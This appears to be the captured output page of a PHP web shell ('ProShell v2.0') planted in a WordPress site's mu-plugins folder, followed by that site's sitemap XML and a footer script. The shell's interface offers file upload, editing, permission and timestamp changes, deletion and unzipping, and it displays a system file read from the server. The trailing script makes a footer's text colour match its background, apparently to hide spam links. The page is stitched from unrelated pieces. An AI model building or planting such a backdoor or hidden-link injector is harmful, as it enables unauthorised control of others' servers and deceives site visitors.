<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Prosellers Shell V2.0</title>
    <style>
        :root {
            --bg-body: #0f1115;
            --bg-sidebar: #161b22;
            --bg-card: #1f2937;
            --bg-hover: #374151;
            --text-main: #f3f4f6;
            --text-muted: #9ca3af;
            --accent: #10b981;
            --accent-hover: #059669;
            --danger: #ef4444;
            --border: #374151;
        }
        * { box-sizing: border-box; outline: none; }
        body { margin: 0; font-family: 'Inter', system-ui, -apple-system, sans-serif; background: var(--bg-body); color: var(--text-main); font-size: 14px; display: flex; height: 100vh; overflow: hidden; }
        a { text-decoration: none; color: inherit; transition: 0.2s; }
        
        /* Sidebar */
        .sidebar { width: 250px; background: var(--bg-sidebar); border-right: 1px solid var(--border); display: flex; flex-direction: column; padding: 20px; flex-shrink: 0; }
        .brand { font-size: 18px; font-weight: bold; color: var(--accent); margin-bottom: 30px; display: flex; align-items: center; gap: 10px; }
        .nav-link { display: flex; align-items: center; gap: 10px; padding: 12px; border-radius: 8px; color: var(--text-muted); margin-bottom: 5px; }
        .nav-link:hover, .nav-link.active { background: var(--bg-card); color: var(--text-main); }
        .nav-link svg { opacity: 0.8; }
        
        /* Main Content */
        .main { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
        .header { height: 60px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; padding: 0 20px; background: var(--bg-sidebar); }
        .breadcrumbs { display: flex; align-items: center; gap: 8px; color: var(--text-muted); overflow: hidden; white-space: nowrap; }
        .breadcrumbs a:hover { color: var(--accent); }
        .breadcrumb-sep { opacity: 0.4; }
        
        .toolbar { padding: 20px; display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
        .btn { border: none; padding: 8px 16px; border-radius: 6px; font-weight: 500; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; font-size: 13px; transition: 0.2s; }
        .btn-primary { background: var(--accent); color: white; }
        .btn-primary:hover { background: var(--accent-hover); }
        .btn-secondary { background: var(--bg-card); color: var(--text-main); border: 1px solid var(--border); }
        .btn-secondary:hover { background: var(--bg-hover); }
        .btn-danger { background: rgba(239, 68, 68, 0.1); color: var(--danger); border: 1px solid transparent; }
        .btn-danger:hover { background: rgba(239, 68, 68, 0.2); }
        
        /* File List */
        .content-area { flex: 1; overflow-y: auto; padding: 0 20px 20px 20px; }
        .file-table { width: 100%; border-collapse: collapse; }
        .file-table th { text-align: left; padding: 12px; color: var(--text-muted); font-weight: 500; border-bottom: 1px solid var(--border); position: sticky; top: 0; background: var(--bg-body); z-index: 10; }
        .file-table td { padding: 12px; border-bottom: 1px solid var(--border); color: var(--text-main); }
        .file-table tr:hover { background: rgba(255,255,255,0.02); }
        .file-icon { color: var(--accent); display: flex; align-items: center; }
        .file-icon.file { color: var(--text-muted); }
        .name-cell { display: flex; align-items: center; gap: 10px; font-weight: 500; }
        
        /* Forms & Inputs */
        input[type="text"], textarea { background: var(--bg-card); border: 1px solid var(--border); color: var(--text-main); padding: 8px 12px; border-radius: 6px; width: 100%; }
        input:focus, textarea:focus { border-color: var(--accent); }
        .modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.7); display: none; align-items: center; justify-content: center; z-index: 100; backdrop-filter: blur(2px); }
        .modal { background: var(--bg-sidebar); padding: 25px; border-radius: 12px; width: 400px; max-width: 90%; border: 1px solid var(--border); box-shadow: 0 10px 25px rgba(0,0,0,0.5); }
        .modal h3 { margin-top: 0; color: var(--text-main); }
        
        /* Utilities */
        .badge { padding: 4px 8px; border-radius: 4px; background: var(--bg-card); font-size: 11px; }
        .actions { display: flex; gap: 8px; }
        .icon-btn { padding: 6px; border-radius: 4px; color: var(--text-muted); cursor: pointer; border: none; background: transparent; }
        .icon-btn:hover { background: var(--bg-hover); color: var(--text-main); }
        
        /* Editor */
        .editor-container { height: 100%; display: flex; flex-direction: column; }
        .editor-textarea { flex: 1; font-family: 'Menlo', 'Monaco', 'Courier New', monospace; font-size: 13px; line-height: 1.5; resize: none; border: 1px solid var(--border); background: #0d1117; color: #c9d1d9; padding: 15px; }

        /* Mobile Responsiveness */
        #menu-btn { display: none; background: none; border: none; color: var(--text-primary); cursor: pointer; margin-bottom: 20px; }
        .mobile-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.5); z-index: 900; display: none; }
        
        @media (max-width: 768px) {
            body { font-size: 13px; }
            #menu-btn { display: block; }
            .sidebar { position: fixed; left: -260px; top: 0; bottom: 0; width: 260px; z-index: 1000; transition: left 0.3s ease; box-shadow: 2px 0 10px rgba(0,0,0,0.5); border-right: 1px solid var(--border); }
            .sidebar.open { left: 0; }
            .mobile-overlay.open { display: block; }
            .main { padding: 10px; width: 100%; }
            .table-container { overflow-x: auto; }
            table { min-width: 500px; }
            .modal { width: 95%; padding: 15px; }
            .toolbar { flex-wrap: nowrap; gap: 5px; overflow-x: auto; padding-bottom: 5px; }
            .toolbar button { padding: 6px 8px; font-size: 12px; white-space: nowrap; flex: 0 0 auto; }
            .toolbar div[style*="flex:1"] { display: none; } 
            
            /* Header Mobile */
            .header { padding: 0 10px; gap: 10px; }
            .breadcrumbs { flex: 1; overflow-x: auto; font-size: 12px; margin: 0; min-width: 0; -webkit-overflow-scrolling: touch; }
            .breadcrumbs > * { flex-shrink: 0; }
            .badge { font-size: 10px; padding: 4px 6px; white-space: nowrap; }
        }
    </style>
</head>
<body>

<div class="mobile-overlay" onclick="toggleSidebar()"></div>

<!-- SIDEBAR -->
<div class="sidebar">
    <div class="brand">
        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"></polyline><line x1="12" y1="19" x2="20" y2="19"></line></svg>        <span>ProShell v2.0</span>
    </div>
    <a href="?path=%2F" class="nav-link ">
        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"></path><polyline points="9 22 9 12 15 12 15 22"></polyline></svg> Dashboard
    </a>
    <a href="?view=server_info" class="nav-link ">
        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="2" width="20" height="8" rx="2" ry="2"></rect><rect x="2" y="14" width="20" height="8" rx="2" ry="2"></rect><line x1="6" y1="6" x2="6.01" y2="6"></line><line x1="6" y1="18" x2="6.01" y2="18"></line></svg> Server Info
    </a>
    <div style="margin-top:auto; font-size: 11px; color: var(--text-muted);">
        Server: 127.0.0.80<br>
        PHP: 8.3.31    </div>
</div>

<!-- MAIN CONTENT -->
<div class="main">
    
    <!-- TOP BAR -->
    <div class="header">
        <button id="menu-btn" onclick="toggleSidebar()"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg></button>
        <div class="breadcrumbs">
            <a href="?path=%2Fhome">home</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients">clients</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e">08ce2314c3c7e396ea36e41d2a860c5e</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites">sites</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org">filmerletravail.org</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org%2Fwp-content">wp-content</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org%2Fwp-content%2Fmu-plugins">mu-plugins</a>        </div>
        <div>
            <span class="badge">2026-08-08 14:32:06</span>
        </div>
    </div>

    <!-- CONTENT -->
    <div class="content-area">
        
                    <!-- EDITOR VIEW -->
            <form method="post" class="editor-container" style="padding: 20px 0; height: calc(100vh - 100px);">
                <div style="margin-bottom: 10px; display: flex; justify-content: space-between;">
                    <h3 style="margin:0;">Editing: filesystems</h3>
                    <div class="actions">
                        <a href="?path=%2Fproc" class="btn btn-secondary">Cancel</a>
                        <button type="submit" class="btn btn-primary">Save Changes</button>
                    </div>
                </div>
                <input type="hidden" name="file" value="/proc/filesystems">
                <textarea name="content" class="editor-textarea">nodev	sysfs
nodev	tmpfs
nodev	bdev
nodev	proc
nodev	cgroup
nodev	cgroup2
nodev	cpuset
nodev	devtmpfs
nodev	debugfs
nodev	tracefs
nodev	securityfs
nodev	sockfs
nodev	bpf
nodev	pipefs
nodev	ramfs
nodev	hugetlbfs
nodev	devpts
nodev	mqueue
nodev	resctrl
nodev	pstore
	xfs
nodev	autofs
nodev	efivarfs
nodev	rpc_pipefs
nodev	configfs
	fuseblk
nodev	fuse
nodev	fusectl
	ext3
	ext2
	ext4
	vfat
nodev	overlay
nodev	nfs
nodev	nfs4
	jfs
	msdos
	minix
	hfs
	hfsplus
	qnx4
	ufs
	btrfs
</textarea>
            </form>

            </div>
</div>

<!-- MODALS -->

<!-- Upload Modal -->
<div id="uploadModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Upload Files</h3>
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="uploads[]" multiple style="margin-bottom: 15px;">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('uploadModal').style.display='none'">Cancel</button>
                <button type="submit" name="upload" class="btn btn-primary">Upload</button>
            </div>
        </form>
    </div>
</div>

<!-- Create Modal -->
<div id="createModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3 id="createTitle">Create New</h3>
        <form method="post">
            <input type="text" name="name" placeholder="Name" style="margin-bottom: 15px;" required>
            <input type="hidden" name="create" id="createType">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('createModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Create</button>
            </div>
        </form>
    </div>
</div>

<!-- Chmod Modal -->
<div id="chmodModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Permissions</h3>
        <form method="post">
            <input type="hidden" name="action" value="chmod">
            <input type="hidden" name="file" id="chmodFile">
            <input type="text" name="perms" id="chmodPerms" placeholder="0755" style="margin-bottom: 15px;" required pattern="[0-7]{3,4}">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('chmodModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Touch Modal -->
<div id="touchModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Date</h3>
        <form method="post">
            <input type="hidden" name="action" value="touch">
            <input type="hidden" name="file" id="touchFile">
            <input type="datetime-local" name="datetime" id="touchDate" style="margin-bottom: 15px;" required step="1">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('touchModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

    </div>
</div>

<!-- Rename Modal -->
<div id="renameModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Rename Item</h3>
        <form method="post">
            <input type="hidden" name="action" value="rename">
            <input type="hidden" name="oldname" id="renameOldName">
            <input type="text" name="newname" id="renameNewName" placeholder="New Name" style="margin-bottom: 15px;" required>
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('renameModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Delete Confirmation Modal -->
<div id="deleteModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Confirm Delete</h3>
        <p>Are you sure you want to delete the selected items?</p>
        <div style="text-align: right; margin-top: 20px;">
            <button type="button" class="btn btn-secondary" onclick="document.getElementById('deleteModal').style.display='none'">Cancel</button>
            <button type="button" class="btn btn-danger" onclick="document.getElementById('deleteForm').submit()">Delete</button>
        </div>
    </div>
</div>



<!-- Unzip Hidden Form -->
<form method="post" id="unzipForm" style="display:none;">
    <input type="hidden" name="action" value="unzip">
    <input type="hidden" name="file" id="unzipFile">
</form>

<script>
function toggleSelectAll(source) {
    document.getElementsByName("selected_files[]").forEach(cb => cb.checked = source.checked);
}

function openCreateModal(type) {
    document.getElementById('createTitle').innerText = 'Create New ' + (type === 'file' ? 'File' : 'Folder');
    document.getElementById('createType').value = type;
    document.getElementById('createModal').style.display = 'flex';
    document.querySelector('#createModal input[type="text"]').focus();
}

function renameItem(oldName) {
    document.getElementById('renameOldName').value = oldName;
    document.getElementById('renameNewName').value = oldName;
    document.getElementById('renameModal').style.display = 'flex';
    document.getElementById('renameNewName').focus();
}

function unzipItem(fileName) {
    if (confirm("Are you sure you want to unzip " + fileName + " here?")) {
        document.getElementById('unzipFile').value = fileName;
        document.getElementById('unzipForm').submit();
    }
}

function touchItem(fileName, currentData) {
    document.getElementById('touchFile').value = fileName;
    document.getElementById('touchDate').value = currentData;
    document.getElementById('touchModal').style.display = 'flex';
}

function confirmDelete() {
    const checked = document.querySelectorAll('input[name="selected_files[]"]:checked');
    if (checked.length === 0) {
        alert("Please select files to delete.");
        return;
    }
    document.getElementById('deleteModal').style.display = 'flex';
}

function chmodItem(fileName, currentPerms) {
    document.getElementById('chmodFile').value = fileName;
    document.getElementById('chmodPerms').value = currentPerms;
    document.getElementById('chmodModal').style.display = 'flex';
    document.getElementById('chmodPerms').focus();
}

// Success Popup Check
window.onload = function() {
    const urlParams = new URLSearchParams(window.location.search);
    const msg = urlParams.get('msg');
    
    const messages = {
        'created': 'Success: Item Created',
        'saved': 'Success: File Saved',
        'uploaded': 'Success: File(s) Uploaded',
        'deleted': 'Success: Item(s) Deleted',
        'unzipped': 'Success: Archive Extracted',
        'date_changed': 'Success: Date Updated',
        'perms_changed': 'Success: Permissions Updated'
    };

    if (messages[msg]) {
        const div = document.createElement('div');
        div.style.position = 'fixed';
        div.style.bottom = '20px';
        div.style.right = '20px';
        div.style.background = 'var(--accent)';
        div.style.color = '#fff';
        div.style.padding = '12px 24px';
        div.style.borderRadius = '6px';
        div.style.boxShadow = '0 4px 6px rgba(0,0,0,0.3)';
        div.style.zIndex = '1000';
        div.textContent = messages[msg];
        document.body.appendChild(div);
        setTimeout(() => div.remove(), 3000);
    }
};

function toggleSidebar() {
    document.querySelector('.sidebar').classList.toggle('open');
    document.querySelector('.mobile-overlay').classList.toggle('open');
}
</script>

</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://filmerletravail.org/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-film-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-evenement-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-section-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<style>#xf-77-948974 a{text-decoration:none!important;color:inherit!important}</style><div id="xf-77-948974" style="width:100%;background-color:#ffffff;color:#fefefe;text-align:center;font-size:12px;padding:5px 0;z-index:99999;position:relative;line-height:1.2;"></div><script>(function(){try{var d=document.getElementById("xf-77-948974");if(!d)return;function g(e){if(!e)return null;try{var s=window.getComputedStyle(e);var b=s.backgroundColor;if(b&&b!=="rgba(0,0,0,0)"&&b!=="transparent")return b}catch(x){}return null}var f=null;var S=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer"];for(var i=0;i<S.length;i++){try{var e=document.querySelector(S[i]);var b=g(e);if(b){f=b;break}}catch(x){}}if(!f){try{var A=document.querySelectorAll("section,div,aside");for(var i=A.length-1;i>=0;i--){var e=A[i];if(e.offsetHeight>10){var r=e.getBoundingClientRect();if(r.bottom>=window.innerHeight-200){var b=g(e);if(b){f=b;break}}}}}catch(x){}}if(!f)f=g(document.body);if(!f)f="rgb(255,255,255)";var m=f.match(/\\d+/g);var r=255,g=255,b=255;if(m&&m.length>=3){r=parseInt(m[0]);g=parseInt(m[1]);b=parseInt(m[2])}var r2=r>2?r-2:r+2;var g2=g>2?g-2:g+2;var b2=b>2?b-2:b+2;var c="rgb("+r2+","+g2+","+b2+")";d.style.backgroundColor=f;d.style.color=c;var l=d.getElementsByTagName("a");for(var i=0;i<l.length;i++)l[i].style.color=c}catch(x){}})();</script>